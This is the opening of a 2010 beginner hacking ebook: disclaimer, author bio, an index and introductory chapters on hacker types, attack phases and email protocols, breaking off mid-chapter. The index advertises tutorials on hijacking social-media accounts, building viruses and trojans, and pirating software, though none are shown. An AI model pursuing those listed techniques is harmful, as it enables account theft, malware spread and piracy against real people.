5A8NBUzA

1Hacking For Beginners – Manthan Desai 2010
2w w w . h a c k i n g t e c h . c o . t v
3Page 2
4Legal Disclaimer
5Any proceedings and or activities related to the material contained within this book are exclusively your liability. The
6misuse and mistreat of the information in this book can consequence in unlawful charges brought against the persons in
7question. The authors and review analyzers will not be held responsible in the event any unlawful charges brought against
8any individuals by misusing the information in this book to break the law. This book contains material and resources that
9can be potentially destructive or dangerous. If you do not fully comprehend something on this book, don‘t study this
10book. Please refer to the laws and acts of your state/region/ province/zone/territory or country before accessing, using,
11or in any other way utilizing these resources. These materials and resources are for educational and research purposes
12only. Do not attempt to violate the law with anything enclosed here within. If this is your intention, then leave now.
13While using this book and reading various hacking tutorials, you agree to follow the below
14mentioned terms and conditions:
151. All the information provided in this book is for educational purposes only. The book author is no way responsible for
16any misuse of the information.
172. "Hacking for Beginners” is just a term that represents the name of the book and is not a book that provides any illegal
18information. “Hacking for Beginners” is a book related to Computer Security and not a book that promotes
19hacking/cracking/software piracy.
203. This book is totally meant for providing information on "Computer Security”, "Computer Programming” and other
21related topics and is no way related towards the terms "CRACKING” or "HACKING” (Unethical).
224. Few articles (tutorials) in this book may contain the information related to "Hacking Passwords” or "Hacking Email
23Accounts” (Or Similar terms). These are not the GUIDES of Hacking. They only provide information about the legal ways of
24retrieving the passwords. You shall not misuse the information to gain unauthorized access. However you may try out
25these hacks on your own computer at your own risk. Performing hack attempts (without permission) on computers that
26you do not own is illegal.
275. The virus creation section in this book provides demonstration on coding simple viruses using high level programming
28languages. These viruses are simple ones and cause no serious damage to the computer. However we strongly insist that
29these information shall only be used to expand programming knowledge and not for causing malicious attacks.
306. All the information in this book is meant for developing Hacker Defense attitude among the readers and help
31preventing the hack attacks. “Hacking for Beginners” insists that this information shall not be used for causing any kind of
32damage directly or indirectly. However you may try these codes on your own computer at your own risk.
337. The word "Hack” or "Hacking” that is used in this book shall be regarded as "Ethical Hack” or "Ethical Hacking”
34respectively.
358. We believe only in White Hat Hacking. On the other hand we condemn Black Hat Hacking.
369. Most of the information provided in this book are simple computer tricks (may be called by the name hacks) and are no
37way related to the term hacking.
3810. Some of the tricks provided by us may no longer work due to fixture in the bugs that enabled the exploits. We are not
39responsible for any direct or indirect damage caused due to the usage of the hacks provided in the book.
40Hacking For Beginners – Manthan Desai 2010
41w w w . h a c k i n g t e c h . c o . t v
42Page 3
43About the Author
44Manthan Desai is a sovereign Computer Security Consultant and has state-of-the-art familiarity in the field of computer.
45An ethical hacker and a freelance web designer is famous for his website Hacking Tech (www.hackingtech.co.tv) which is
46ranked 2nd in the ucoz.com web hosting servers for security field.
47Manthan is indeed a writer on the internet through his website. Over 10,000 visits have been incurred on his website and
48on the increase day by day.
49Manthan is currently perusing his bachelor’s degree in computer science engineering and is working as and information
50security consultant and web designer.
51He is providing the services like Ethical hacking training and workshops, website Development and maintenance, security
52consultant, graphic designing for website.
53The one and the only quote that Manthan uses while his ethical hacking is “Hack it and Have it.”
54To Know More about the Author Please Visit: www.manthandesai.co.cc
55Hacking For Beginners – Manthan Desai 2010
56w w w . h a c k i n g t e c h . c o . t v
57Page 4
58Preface
59Computer hacking is the practice of altering computer hardware and software to carry out a goal outside of the creator‘s
60original intention. People who slot in computer hacking actions and activities are often entitled as hackers.
61The majority of people assume that hackers are computer criminals. They fall short to identify the fact that criminals and
62hackers are two entirely unrelated things. Media is liable for this. Hackers in realism are good and extremely intelligent
63people, who by using their knowledge in a constructive mode help organizations, companies, government, etc. to secure
64credentials and secret information on the Internet.
65Years ago, no one had to worry about Crackers breaking into their computer and installing Trojan viruses, or using your
66computer to send attacks against others. Now that thing have changed, it's best to be aware of how to defend your
67computer from damaging intrusions and prevent black hat hackers. Rampant hacking is systematically victimizing
68computers around the world. This hacking is not only common, but is being executed without a flaw that the attackers
69compromise a system, steal everything of value and entirely rub out their pathway within 20 minutes. So, in this Book you
70will uncover the finest ways to defend your computer systems from the hackers
71This Book is written by keeping one object in mind that a beginner, who is not much familiar regarding computer hacking,
72can easily, attempts these hacks and recognize what we are trying to demonstrate. Here we have incorporated the best
73ethical hacking articles in this volume, covering every characteristic linked to computer security.
74After Reading this book you will come to recognize that how Hacking is affecting our every day routine work and can be
75very hazardous in many fields like bank account hacking etc. Moreover, after carrying out this book in detail you will be
76capable of understanding that how a hacker hacks and how you can defend yourself from these threats.
77So Take care of yourself and Defend Yourself By hacking the hacker and be safe after that. So If you know how to hack a
78hacker then you can know how to prevent the hacker.
79“Hack It and Have It...”
80- Manthan Desai (author)
81Hacking For Beginners – Manthan Desai 2010
82w w w . h a c k i n g t e c h . c o . t v
83Page 5
84Acknowledgements
85Book or volume "Hacking for Beginners” is tremendously complex to write, particularly without support of the Almighty
86GOD.
87I express heartfelt credit to My Parents Mr.Manish Desai and Mrs. Jagruti Desai without them I have no existence. I am
88more than ever thankful to Nirma University for the inspiration which I got for learning hacking and getting such great
89opportunity to write the book. I am also thankful to my friends and partner who facilitated me at various research stages
90of this book and helped me to complete this book and mentioned me new suggestion for the book.
91To finish, I am thankful to you also as you are reading this book. I am sure this will book make creative and constructive
92role to build your life more secure and alert than ever before.
93Again Nothing but “Hack It and Have It...”
94- Manthan Desai
95Hacking For Beginners – Manthan Desai 2010
96w w w . h a c k i n g t e c h . c o . t v
97Page 6
98Index
99SECTION 1:- The Theatrical concepts and Explanation.
1001. Concept of Ethical Hacking……………………………………………………………………………………………………………..……. 12
101What Is Hacking …………………………………………………………………………….…………………………………………………………….….. 12
102Types of hacker ………………………………………………………………………………………………...………………………………………….…. 13
103Why hackers hack? ……………………………………………………………………………………………………………………………………….…. 15
104Preventions from hacker ……………………………………………………………………………………………………………………..………..… 15
105Steps Performed by hackers ………………………………………………………………………………………………………………………....….16
106Working of an Ethical hacker ………………………………………………………………………………………………………………………….…17
1072. Email Hacking ……………………………………………………………………………………………………………………..….…..……… 19
108How Email Works? ……………………………………………………………………………………………………………………………………….…. 19
109Email service protocols ……………………………………………………………………………………………………………………………….…...20
110Email spoofing …………………………………………………………………………………………………………………………………………….….. 21
111PHP Mail sending script …………………………………………………………………………………………………………………………….……. 22
112Email Spamming …………………………………………………………………………………………………………………………………………..... 23
113Phishing …………………………………………………………………………………………………………………………………………………….……. 23
114Prevention from phishing ………………………………………………………………………………………………………………………….……. 24
115Email Tracing …………………………………………………………………………………………………………………………………………….……. 24
116Keystroke loggers ……………………………………………………………………………………………………………………………………….….. 26
117Securing Your Email account ………………………………………………………………………………………………………………………….. 27
1183. Windows Hacking and Security.…...……………………………………………………………………………………….…………… 28
119Security Architecture of Windows………………………………………………………………………………………………………………….. 28
120Windows user account Architecture………………………………………………………………………………………………………………. 29
121Cracking Windows User Account password …………………………………………………………………………………………………... 30
122Windows User Account Attack …………………………………………………………………………………………………………………....… 33
123Counter Measures of Windows Attack ………………………………………………………………………………………………………….. 33
124To hide a file behind a image …………………………………………………………………………………………………….………………..… 34
125Make a private folder…………………………………………………………………………………………………………………………………….. 35
126To run net user in Vista and Windows 7 …………………………………………………………………………………………………..…... 37
127Hacking For Beginners – Manthan Desai 2010
128w w w . h a c k i n g t e c h . c o . t v
129Page 7
130Brute Force Attack ……………………………………………………………………………………………………………………………………….… 38
131Rainbow table attack …………………………………………………………………………………………………………….…………………….…. 39
132Counter Measures for Windows Attack ………………………………………………………………………………….………………….….. 40
1334. Trojans in Brief ………………………………………………………………………………………………….………………….………..…. 42
134Knowing the Trojan ………………………………………………………………………………….………………………………………………...…. 42
135Different Types of Trojans ……………………………………………………………………………………………………………………….…….. 43
136Components of Trojans …………………………………………………………………………………………………………………..…………….. 45
137Mode of Transmission for Trojans …………………………………………………………………………………………………………….…… 47
138Detection and Removal of Trojans ………………………………………………………………………………………………………………... 48
139Countermeasures for Trojan attacks ………………………………………………………………………………………………………….…. 48
1405. Attacks on web servers and Security ……….………………………………………………………………………….………….…. 49
141Introduction to Web Servers..………………………………………………………………….………………………………………………...…. 49
142The Basic Process: How Web servers work …………………………………………………………………………………………….………. 49
143Attacks on Web servers …………………………………………………………………………………………………………………………….…... 50
144Web Ripping …………………………………………………………………………………………………………………………………………….….… 50
145Google Hacking …………………………………………………………………………………………………………………………………………..…. 51
146Protecting Your Files from Google ……………………………………………………………………………………………………………….... 53
147Cross Site Scripting (XSS) …………………………………………………………………………………………………………………….……….… 54
148Directory Traversal Attack …………………………………………………………………………………………………………….…..………..… 55
149Database Servers ………………………………………………………………………………………………………………………………….……….. 57
150Login Process on the websites ………………………………………………………………………………………………….……….………….. 58
151SQL injection …………………………………………………………………………………………………………………………………………….…… 58
152Input validation on the SQL Injection ……………………………………………………………………………….……………………….…… 59
153PHP Injection: Placing PHP backdoors …………………………………………………………………………………………………….…….. 60
154Directory Access controls ……………………………………………………………………………………………………………………………... 62
155How Attackers Hide Them While Attacking …………………………………………………………………………………………….….…. 62
156Types of Proxy Servers ………………………………………………………………………………………………………………………………..… 63
1576. Wireless hacking …………………………………..………………………………………………………………………………..…….….. 65
158Wireless Standards …….……………………………………………………………………………………………………………………………….… 65
159Services provided by Wireless Networks ……………………………………………………………………………………………………….. 67
160Hacking For Beginners – Manthan Desai 2010
161w w w . h a c k i n g t e c h . c o . t v
162Page 8
163MAC address filtering …..…………………………………………………………………………………………………………………………….…. 68
164WEP key encryption …………………………………………………………………………………………………………………………………….… 69
165Wireless attacks ……………………………………………………………………………………………………………………………………….……. 69
166MAC spoofing ……………………………………………………………………………………………………………………………………….……….. 70
167WEP cracking ……………………………………………………………………………………………………………………………………………..….. 70
168Countermeasures for Wireless attacks …………………………………………………………………………………………………….….…. 71
1697. Mobile Hacking – SMS & Call forging…………………………………………………………………………….…………..…..…….72
170What Does It Involve ……………………………………………………………………………………………………………………………..…..….. 72
171Call Spoofing / Forging ……………………………………………………………………………………………………………………….……..…… 74
172SMS Forging …………………………………………………………………………………………………………………………………………………… 75
173Bluesnarfing ………………………………………………………………………………………………………………………………………………..... 76
1748. Information gathering and Scanning ……………………………………………………………………………….………………….78
175Why Information gathering? ………………………………………………………………………………………………………………………….. 78
176Reverse IP mapping ………………………………………………………………………………………………………………………………….……. 78
177Information Gathering Using Search Engine …………………………………………………………………………………………….……. 79
178Detecting ‘live’ systems on target network …………………………………………………………………………………………….……… 81
179War diallers ……………………………………………………………………………………………………………………………………………….….… 81
1809. Sniffers ……………………………………………….………………………………………………………………………….….………..….… 82
181What are Sniffers ? ………………………………………………………………………………………………………………….………………….…. 82
182Defeating Sniffers………………………………………………………………………………………………………………….……………………..…. 83
183Ant Sniff ……………………………………………………………………………………………………………………………….……………………..…. 83
18410. Linux Hacking..…………………………………….…………………………………………………………….………….………….…...… 85
185Why Linux?..............…………………………………………………………………………………………………………………………………...….. 85
186Scanning Networks …………………………………………………………………………………………………………………………………..……. 86
187Hacking tool Nmap ……………………………………………………………………………………………………………………………………..…. 87
188Password cracking in Linux ………………………………………………………………………………………………………………………..….. 87
189SARA (Security Auditor’s Research Assistant) ……………………………………………………………………………………………..…. 88
190Linux Root kits …………………………………………………………………………………………………………………………………………..…… 88
191Linux Tools: Security Testing tools …………………………………………………………………………………..………………………….…. 90
192Linux Security Countermeasures ……………………………………………………………………..………………………………………..…... 90
193Hacking For Beginners – Manthan Desai 2010
194w w w . h a c k i n g t e c h . c o . t v
195Page 9
196SECTION 2:- The Tutorial based hacks and explaination as online.
1971. How to Chat with your friends using MS-DOS ……………………………………………………….………………..…………………... 93
1982. How to change your IP address ………………………………………………………………………………………………………………….… 94
1993. How To fix corrupted XP files …………….………………………………………………………………………………………………………… 95
2004. Delete an “Undeletable” File / Folder ……………………………………………………………………………………………………….... 96
2015. What is Steganography? ………………………………………………………………………………………………………………………..…… 100
2026. What Is MD5 Hash & How to Use It? ………………………………………………………………………………………………………..... 101
2037. What is Phishing and Its Demo ……………………………………………………………………………………………………………….….. 103
2048. How to view hidden passwords behind asterisk (********) ……………………………………………………………..……….. 106
2059. Hacking Orkut Account Using Cookie Stealing ……………………………………………………………………………….…………... 108
20610. Tab Napping A New Phishing Attack …………………………………………………………………………………………….……………. 110
20711. How to Check The email is original or Not ……………………………………………………………………………………….………… 113
20812. Hack facebook account using facebook hacker …………………………………………………………………………….….………... 116
20913. What Are Key loggers ?.................................................................................................................................. 118
21014. How to remove New Folder virus ………………………………………………………………………………………..……….……….... 120
21115. Mobile hack to call your friends From their own Number …………………………………………………….….…………….… 121
21216. Get Orkut Scraps on Mobile for free using Google SMS Channel!................................................................. 124
21317. Internet connection cut-off in LAN/Wi-Fi ……………………………………………………………………….………………….…….. 127
21418. WEP cracking using Airo Wizard……………………………………………………………………………………………………….………. 129
21519. 12 Security tips for online shopping ……………………………………………………………………………………………….……..... 133
21620. How to check if Your Gmail account is hacked or not ………………………………………………………………………….…… 134
21721. Beware of common Internet Scams and Frauds ………………………………………………………………………….…………… 137
21822. 12 Tips to maintain a virus free PC………………………………………………………………………………………………………….… 138
21923. 10 Tips for Total Online Security………………………………………………………………………………………………………………. 140
22024. What to do when your Orkut account is hacked…………………………………………………………………………………..….. 142
22125. Making a computer virus …………………………………………………………………………………………………………………….….. 143
22226. SQL injection for website hacking…………………………………………………………………………………………………………….. 147
22327. How a ‘Denial of service’ attack works …………………………………………………………………………………………………….. 151
22428. XSS vulnerability found on You Tube explained ………………………………………….………………………………………….... 154
225Hacking For Beginners – Manthan Desai 2010
226w w w . h a c k i n g t e c h . c o . t v
227Page 10
22829. Hacking Deep Freeze …………………………………………………………………………………………………………………………………. 157
22930. How to watch security cameras on internet ………………………………………………………………………………………..……. 159
23031. List of PC file Extensions…………………………………………………………………………………………………………………………….. 161
23132. Nice List of Windows Shortcuts …………………………………………………………………………………………………………………. 185
23233. How to find serial numbers on Google ………………………………………………………………………………………………………. 191
23334. How to create a CON folder in Windows …………………………………………………………………………………………………… 192
23435. 10 Reasons why PC’s crash you must know………………………………………………………………………………………………… 195
23536. How to use Kaspersky for Lifetime without Patch ……………………………………………………………………………………… 200
23637. Disguise as Google Bot to view Hidden Content of a Website …………………………………………………………………… 201
23738. How to Download Facebook videos ………………………………………………………………………………………………………….. 203
23839. Hack a website by Remote File Inclusion ………………………………………………………………………………………………….. 205
23940. What is CAPTCHA and how it works?…………………………………………………………………………………………………….….. 207
24041. Hack Password of any Operating System …………………………………………………………………………………….…………... 209
24142. Windows PowerShell Security in Brief………………………………………………………………………………………………………. 211
24243. What is Secure Sockets Layers (SSL)? ……………………………………………………………………………………………………….. 216
24344. Make a Private folder With your password ………………………………………………………………………………………………. 220
24445. Making a Trojan using Beast 2.06……………………………………………………………………………………………………………… 222
24546. Hacking yahoo messenger for multi login ………………………………………………………………………………………………… 228
24647. 5 Tips to secure your Wi-Fi a connection …………………………………………………………………………………………………. 229
24748. Upgrade Windows 7 to any higher version ……………………………………………………………………………………………… 230
24849. World’s top 10 internet hackers of all time ……………………………………………………………………………………….…….. 231
24950. The complete History of hacking …………………………………………………………………………………………………………….. 238
250Hacking For Beginners – Manthan Desai 2010
251w w w . h a c k i n g t e c h . c o . t v
252Page 11
253The Theatrical concepts and Explanation.
254Hacking For Beginners – Manthan Desai 2010
255w w w . h a c k i n g t e c h . c o . t v
256Page 12
2571. Concept of Ethical Hacking
258Hacking
259 The Art of exploring various security breaches is termed as Hacking.
260 Computer Hackers have been around for so many years. Since the Internet became widely used in the World, We
261have started to hear more and more about hacking. Only a few Hackers, such as Kevin Mitnick, are well known.
262 In a world of Black and White, it’s easy to describe the typical Hacker. A general outline of a typical Hacker is an
263Antisocial, Pimple-faced Teenage boy. But the Digital world has many types of Hackers.
264 Hackers are human like the rest of us and are, therefore, unique individuals, so an exact profile is hard to outline.
265The best broad description of Hackers is that all Hackers aren’t equal. Each Hacker has Motives, Methods and
266Skills. But some general characteristics can help you understand them. Not all Hackers are Antisocial, Pimplefaced
267Teenagers. Regardless, Hackers are curious about Knowing new things, Brave to take steps and they are
268often very Sharp Minded.
269Hacker
270 Hacker is a word that has two meanings:
271 Traditionally, a Hacker is someone who likes to play with Software or Electronic Systems. Hackers enjoy Exploring
272and Learning how Computer systems operate. They love discovering new ways to work electronically.
273 Recently, Hacker has taken on a new meaning — someone who maliciously breaks into systems for personal gain.
274Technically, these criminals are Crackers as Criminal Hackers. Crackers break into systems with malicious
275intentions.
276 They do it for Personal gain, Fame, Profit and even Revenge. They Modify, Delete and Steal critical information,
277often making other people's life miserable.
278 Hacking has a lot of meanings depending upon the person’s knowledge and his work intentions. Hacking is an Art
279as well as a Skill. Hacking is the knowledge by which one gets to achieve his Goals, anyhow, using his Skills and
280Power.
281 Most people associate Hacking with breaking law, therefore calling all those guys who engage in hacking activities
282to be criminals. We agree that there are people out there who use hacking techniques to break the law, but
283hacking is not really about that. In fact, hacking is more about following the law and performing the steps within
284the limits.
285Hacker vs. Cracker
286What Is the Difference Between a Hacker and a Cracker?
287 Many articles have been written about the difference between Hackers and crackers, which attempt to correct
288public misconceptions about hacking. For many years, media has applied the word Hacker when it really means
289Cracker. So the public now believe that a Hacker is someone who breaks into computer systems and steal
290confidential data. This is very untrue and is an insult to some of our most talented Hackers.
291There are various points to determine the difference between Hackers and crackers
292 Definition - A Hacker is a person who is interested in the working of any computer Operating system. Most often,
293Hackers are programmers. Hackers obtain advanced knowledge of operating systems and programming
294languages. They may know various security holes within systems and the reasons for such holes. Hackers
295Hacking For Beginners – Manthan Desai 2010
296w w w . h a c k i n g t e c h . c o . t v
297Page 13
298constantly seek further knowledge, share what they have discovered, and they never have intentions about
299damaging or stealing data.
300 Definition - A Cracker is a person who breaks into other people systems, with malicious intentions. Crackers gain
301unauthorized access, destroy important data, stop services provided by the server, or basically cause problems for
302their targets. Crackers can easily be identified because their actions are malicious.
303 Whatever the case, most people give Hacker a negative outline. Many malicious Hackers are electronic thieves.
304Just like anyone can become a thief, or a robber, anyone can become a Hacker, regardless of age, gender, or
305religion. Technical skills of Hackers vary from one to another. Some Hackers barely know how to surf the Internet,
306whereas others write software that other Hackers depend upon.
307Types of Hacker
308 Let’s see the categories of Hackers on the basis on their knowledge.
309Coders
310 The Real Hackers are the Coders, the ones who revise the methods and create tools that are available in the
311market. Coders can find security holes and weaknesses in software to create their own exploits. These Hackers
312can use those exploits to develop fully patched and secure systems.
313 Coders are the programmers who have the ability to find the unique vulnerability in existing software and to
314create working exploit codes. These are the individuals with a deep understanding of the OSI Layer Model and
315TCP/IP Stacks.
316Admins
317 Admins are the computer guys who use the tools and exploits prepared by the coders. They do not develop their
318own techniques, however they uses the tricks which are already prepared by the coders. They are generally
319System Administration, or Computer Network Controller. Most of the Hackers and security person in this digital
320world come under this category.
321 Admins have experience with several operating systems, and know how to exploit several existing vulnerabilities.
322A majority of Security Consultants fall in this group and work as a part of Security Team.
323Script Kiddies
324 Next and the most dangerous class of Hackers is Script kiddies, They are the new generation of users of computer
325who take advantage of the Hacker tools and documentation available for free on the Internet but don’t have any
326knowledge of what’s going on behind the scenes. They know just enough to cause you headaches but typically are
327very sloppy in their actions, leaving all sorts of digital fingerprints behind. Even though these guys are the teenage
328Hackers that you hear about in the news media, they need minimum skills to carry out their attacks.
329 Script Kiddies are the bunnies who use script and programs developed by others to attack computer systems and
330Networks. They get the least respect but are most annoying and dangerous and can cause big problems without
331actually knowing what they are doing.
332 Types of Hackers on the basis of activities performed by them.
333Hacking For Beginners – Manthan Desai 2010
334w w w . h a c k i n g t e c h . c o . t v
335Page 14
336White Hat Hacker
337 A White Hat Hacker is computer guy who perform Ethical Hacking. These are usually security professionals with
338knowledge of hacking and the Hacker toolset and who use this knowledge to locate security weaknesses and
339implement counter measures in the resources.
340 They are also known as an Ethical Hacker or a Penetration Tester. They focus on Securing and Protecting IT
341Systems.
342Black Hat Hacker
343 A Black Hat Hacker is computer guy who performs Unethical Hacking. These are the Criminal Hackers or Crackers
344who use their skills and knowledge for illegal or malicious purposes. They break into or otherwise violate the
345system integrity of remote machines, with malicious intent.
346 These are also known as an Unethical Hacker or a Security Cracker. They focus on Security Cracking and Data
347stealing.
348Grey Hat Hacker
349 A Grey Hat Hacker is a Computer guy who sometimes acts legally, sometimes in good will, and sometimes not.
350They usually do not hack for personal gain or have malicious intentions, but may or may not occasionally commit
351crimes during the course of their technological exploits.
352 They are hybrid between White Hat and Black Hat Hackers.
353Ethical Hacking
354 Ethical Hacking is testing the resources for a good cause and for the betterment of technology. Technically Ethical
355Hacking means penetration testing which is focused on Securing and Protecting IT Systems.
356Hactivism
357 Another type of Hackers are Hacktivists, who try to broadcast political or social messages through their work. A
358Hacktivist wants to raise public awareness of an issue. Examples of hacktivism are the Web sites that were
359defaced with the Jihad messages in the name of Terrorism.
360Cyber Terrorist
361 There are Hackers who are called Cyber Terrorists, who attack government computers or public utility
362infrastructures, such as power stations and air-traffic-control towers. They crash critical systems or steal classified
363government information. While in a conflict with enemy countries some government start Cyber war via Internet.
364Hacking For Beginners – Manthan Desai 2010
365w w w . h a c k i n g t e c h . c o . t v
366Page 15
367Why Hackers Hack?
368 The main reason why Hackers hack is because they can hack. Hacking is a casual hobby for some Hackers — they
369just hack to see what they can hack and what they can’t hack, usually by testing their own systems. Many Hackers
370are the guys who get kicked out of corporate and government IT and security organizations. They try to bring
371down the status of the organization by attacking or stealing information.
372 The knowledge that malicious Hackers gain and the ego that comes with that knowledge is like an addiction.
373Some Hackers want to make your life miserable, and others simply want to be famous. Some common motives of
374malicious Hackers are revenge, curiosity, boredom, challenge, theft for financial gain, blackmail, extortion, and
375corporate work pressure.
376 Many Hackers say they do not hack to harm or profit through their bad activities, which helps them justify their
377work. They often do not look for money full of pocket. Just proving a point is often a good enough reward for
378them.
379Prevention from Hackers
380 What can be done to prevent Hackers from finding new holes in software and exploiting them?
381 Information security research teams exist—to try to find these holes and notify vendors before they are
382exploited. There is a beneficial competition occurring between the Hackers securing systems and the Hackers
383breaking into those systems. This competition provides us with better and stronger security, as well as more
384complex and sophisticated attack techniques.
385 Defending Hackers create Detection Systems to track attacking Hackers, while the attacking Hackers develop
386bypassing techniques, which are eventually resulted in bigger and better detecting and tracking systems. The net
387result of this interaction is positive, as it produces smarter people, improved security, more stable software,
388inventive problem-solving techniques, and even a new economy.
389 Now when you need protection from Hackers, whom you want to call, “The Ethical Hackers”. An Ethical Hacker
390possesses the skills, mindset, and tools of a Hacker but is also trustworthy. Ethical Hackers perform the hacks as
391security tests computer systems.
392 Ethical Hacking — also known as Penetration Testing or White-Hat Hacking —involves the same Tools, Tricks and
393Techniques that Hackers use, but with one major difference:
394 Ethical hacking is Legal.
395 Ethical hacking is performed with the target’s permission. The intent of Ethical Hacking is to discover
396vulnerabilities from a Hacker’s viewpoint so systems can be better secured. Ethical Hacking is part of an overall
397information Risk Management program that allows for ongoing security improvements. Ethical hacking can also
398ensure that vendors’ claims about the security of their products are legitimate.
399 As Hackers expand their knowledge, so should you. You must think like them to protect your systems from them.
400You, as the ethical Hacker, must know activities Hackers carry out and how to stop their efforts. You should know
401what to look for and how to use that information to thwart Hackers’ efforts.
402 You don’t have to protect your systems from everything. You can’t.
403The only protection against everything is to unplug your computer systems and lock them away so no
404one can touch them—not even you.
405Hacking For Beginners – Manthan Desai 2010
406w w w . h a c k i n g t e c h . c o . t v
407Page 16
408 That’s not the best approach to information security. What’s important is to protect your systems from known
409Vulnerabilities and common Hacker attacks.
410 It’s impossible to overcome all possible vulnerabilities of your systems. You can’t plan for all possible attacks —
411especially the ones that are currently unknown which are called Zero Day Exploits. These are the attacks which
412are not known to the world. However in Ethical Hacking, the more combinations you try — the more you test
413whole systems instead of individual units — the better your chances of discovering vulnerabilities.
414Steps Performed By hackers
4151) Reconnaissance
4162) Scanning
4173) Gaining Access
4184) Maintaining Access
4195) Clearing Tracks
420• Performing Reconnaissance
421• Scanning and Enumeration
422• Gaining access
423• Maintaining access and Placing Backdoors
424• Covering tracks or Clearing Logs
425Phase I: Reconnaissance
426 Reconnaissance can be described as the pre-attack phase and is a systematic attempt to locate, gather, identify,
427and record information about the target. The Hacker seeks to find out as much information as possible about the
428target.
429Phase II: Scanning and Enumeration
430 Scanning and enumeration is considered the second pre-attack phase. This phase involves taking the information
431discovered during reconnaissance and using it to examine the network. Scanning involves steps such as intelligent
432system port scanning which is used to determine open ports and vulnerable services. In this stage the attacker
433can use different automated tools to discover system vulnerabilities.
434Phase III: Gaining Access
435 This is the phase where the real hacking takes place. Vulnerabilities discovered during the reconnaissance and
436scanning phase are now exploited to gain access. The method of connection the Hacker uses for an exploit can be
437a local area network, local access to a PC, the Internet, or offline. Gaining access is known in the Hacker world as
438owning the system. During a real security breach it would be this stage where the Hacker can utilize simple
439techniques to cause irreparable damage to the target system.
440Hacking For Beginners – Manthan Desai 2010
441w w w . h a c k i n g t e c h . c o . t v
442Page 17
443Phase IV: Maintaining Access and Placing Backdoors
444 Once a Hacker has gained access, they want to keep that access for future exploitation and attacks. Sometimes,
445Hackers harden the system from other Hackers or security personnel by securing their exclusive access with
446Backdoors, Root kits, and Trojans.
447 The attacker can use automated scripts and automated tools for hiding attack evidence and also to create
448backdoors for further attack.
449Phase V: Clearing Tracks
450 In this phase, once Hackers have been able to gain and maintain access, they cover their tracks to avoid detection
451by security personnel, to continue to use the owned system, to remove evidence of hacking, or to avoid legal
452action. At present, many successful security breaches are made but never detected. This includes cases where
453firewalls and vigilant log checking were in place.
454Working of an ethical hacker
455Obeying the Ethical Hacking Commandments:
456 Every Ethical Hacker must follow few basic principles. If he do not follow, bad things can happen. Most of the time
457these principles get ignored or forgotten when planning or executing ethical hacking tests. The results are even
458very dangerous.
459Working ethically:
460 The word ethical can be defined as working with high professional morals and principles. Whether you’re
461performing ethical hacking tests against your own systems or for someone who has hired you, everything you do
462as an ethical Hacker must be approved and must support the company’s goals. No hidden agendas are allowed!
463Trustworthiness is the ultimate objective. The misuse of information is absolutely not allowed. That’s what the
464bad guys do.
465Respecting privacy:
466 Treat the information you gather with complete respect. All information you obtain during your testing — from
467Web application log files to clear-text passwords — must be kept private.
468Not crashing your systems:
469 One of the biggest mistakes is when people try to hack their own systems; they come up with crashing their
470systems. The main reason for this is poor planning. These testers have not read the documentation or
471misunderstand the usage and power of the security tools and techniques.
472 You can easily create miserable conditions on your systems when testing. Running too many tests too quickly on a
473system causes many system lockups. Many security assessment tools can control how many tests are performed
474on a system at the same time. These tools are especially handy if you need to run the tests on production systems
475during regular business hours.
476Executing the plan:
477 In Ethical hacking, Time and patience are important. Be careful when you’re performing your ethical hacking tests.
478A Hacker in your network or an employee looking over your shoulder may watch what’s going on. This person
479Hacking For Beginners – Manthan Desai 2010
480w w w . h a c k i n g t e c h . c o . t v
481Page 18
482could use this information against you. It’s not practical to make sure that no Hackers are on your systems before
483you start. Just make sure you keep everything as quiet and private as possible.
484 This is especially critical when transmitting and storing your test results. You’re now on a reconnaissance mission.
485Find as much information as possible about your organization and systems, which is what malicious Hackers do.
486Start with a broad view of mind and narrow your focus. Search the Internet for your organization’s name, your
487computer and network system names, and your IP addresses. Google is a great place to start for this.
488 Don’t take ethical hacking too far, though. It makes little sense to harden your systems from unlikely attacks. For
489instance, if you don’t have a internal Web server running, you may not have to worry too much about. However,
490don’t forget about insider threats from malicious employees or your friends or colleagues!
491“Never share your password with anyone even with your Boyfriend(s) or Girlfriend(s)”.
492Hacking For Beginners – Manthan Desai 2010
493w w w . h a c k i n g t e c h . c o . t v
494Page 19
4952. Email hacking
496How Email Works?
497 Email sending and receiving is controlled by the Email servers. All Email service providers configure Email Server
498before anyone can Sign into his or her account and start communicating digitally.
499 Once the servers are ready to go, users from across the world register in to these Email servers and setup an
500Email account. When they have a fully working Email account, they sign into their accounts and start connecting
501to other users using the Email services.
502Email Travelling Path
503 Let’s say we have two Email providers, one is Server1.com and other is Server2.in, ABC is a registered user in
504Server1.com and XYZ is a registered user in Server2.in.
505 ABC signs in to his Email account in Server1.com, he then writes a mail to the xyz@server2.in and click on Send
506and gets the message that the Email is sent successfully.
507 But what happens behind the curtains, the Email from the computer of abc@server1.com is forwarded to the
508Email server of Server1.com. Server1 then looks for server2.in on the internet and forwards the Email of the
509server2.in for the account of XYZ. Server2.in receives the Email from server1.com and puts it in the account of
510XYZ.
511 XYZ then sits on computer and signs in to her Email account. Now she has the message in her Email inbox.
512Hacking For Beginners – Manthan Desai 2010
513w w w . h a c k i n g t e c h . c o . t v
514Page 20
515Email Service Protocols
516SMTP
517 SMTP stands for Simple Mail Transfer Protocol. SMTP is used when Email is delivered from an Email client, such as
518Outlook Express, to an Email server or when Email is delivered from one Email server to another. SMTP uses port
51925.
520POP3
521 POP3 stands for Post Office Protocol. POP3 allows an Email client to download an Email from an Email server. The
522POP3 protocol is simple and does not offer many features except for download. Its design assumes that the Email
523client downloads all available Email from the server, deletes them from the server and then disconnects. POP3
524normally uses port 110.
525IMAP
526 IMAP stands for Internet Message Access Protocol. IMAP shares many similar features with POP3. It, too, is a
527protocol that an Email client can use to download Email from an Email server. However, IMAP includes many
528more features than POP3. The IMAP protocol is designed to let users keep their Email on the server. IMAP
529requires more disk space on the server and more CPU resources than POP3, as all Emails are stored on the server.
530IMAP normally uses port 143.
531Configuring an Email Server
532 Email server software like Post cast Server, Hmailserver, Surge mail, etc can be used to convert your Desktop PC
533into an Email sending server.
534 HMailServer is an Email server for Microsoft Windows. It allows you to handle all your Email yourself without
535having to rely on an Internet service provider (ISP) to manage it. Compared to letting your ISP host your Email,
536HMailServer adds flexibility and security and gives you the full control over spam protection.
537Email Security
538 Now let’s check how secure this fast mean of communication is. There are so many attacks which are applied on
539Emails. There are people who are the masters of these Email attacks and they always look for the innocent people
540who are not aware of these Email tricks and ready to get caught their trap.
541 You have to make sure that you are not an easy target for those people. You have to secure your Email identity
542and profile, make yourself a tough target.
543 If you have an Email Id Do not feel that it does not matters if hacked because there is no important information in
